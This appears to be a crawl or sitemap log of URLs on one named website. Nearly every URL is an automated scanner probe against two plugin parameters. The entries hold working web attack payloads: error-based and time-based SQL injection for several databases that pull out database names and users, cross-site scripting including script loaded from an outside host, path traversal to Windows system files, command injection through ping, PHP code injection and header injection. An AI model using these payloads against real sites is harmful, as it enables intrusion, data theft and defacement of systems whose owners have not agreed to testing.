http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%20(CASE%20WHEN%20(25=25)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2025*(SELECT%2025%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%20(CASE%20WHEN%20(51=71)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%20(CASE%20WHEN%20(59=59)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%20(CASE%20WHEN%20(99=76)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2099*(SELECT%2099%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup1 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup6633x3X6 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroupAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroupAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroupAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroupJyI%3D 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroupa' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroupalert(42873) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroupe360 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%3Cdir 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=');print(md5(1122));// 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x3530376563653264%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(SELECT%20(CASE%20WHEN%20(14=19)%20THEN%200x3530376563653264%20ELSE%2014*(SELECT%2014%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(SELECT%20(CASE%20WHEN%20(27=86)%20THEN%200x3639323439306237%20ELSE%2027*(SELECT%2027%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(SELECT%20(CASE%20WHEN%20(35=51)%20THEN%200x3530376563653264%20ELSE%2035*(SELECT%2035%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(SELECT%20(CASE%20WHEN%20(47=76)%20THEN%200x3530376563653264%20ELSE%2047*(SELECT%2047%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(SELECT%20(CASE%20WHEN%20(67=19)%20THEN%200x3530376563653264%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=................windowswin.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=468365e7 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=4bd81051 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d 0.0006 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%00' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%200x3530376563653264%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20RLIKE%20(SELECT%20(CASE%20WHEN%20(97=52)%20THEN%200x3530376563653264%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%22%20AND%20%22Qo%22=%22yo 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%22)%20AND%2056=98%20AND%20(%22Ed%22=%22Ed 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25%22%29%20AND%2075%3D81%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25%27%29%20AND%2059%3D52%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20AND%2031=19%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(26=26)%20THEN%200x3530376563653264%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(69=19)%20THEN%200x3530376563653264%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%2527 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%5B%5D 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%5C%22 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%5C' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d%bf%27 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d' 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%20'Ap'%20LIKE%20'14 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%20'TV'='fM 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/plugin.php?id=cloudsearch&formhash=507ece2d'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 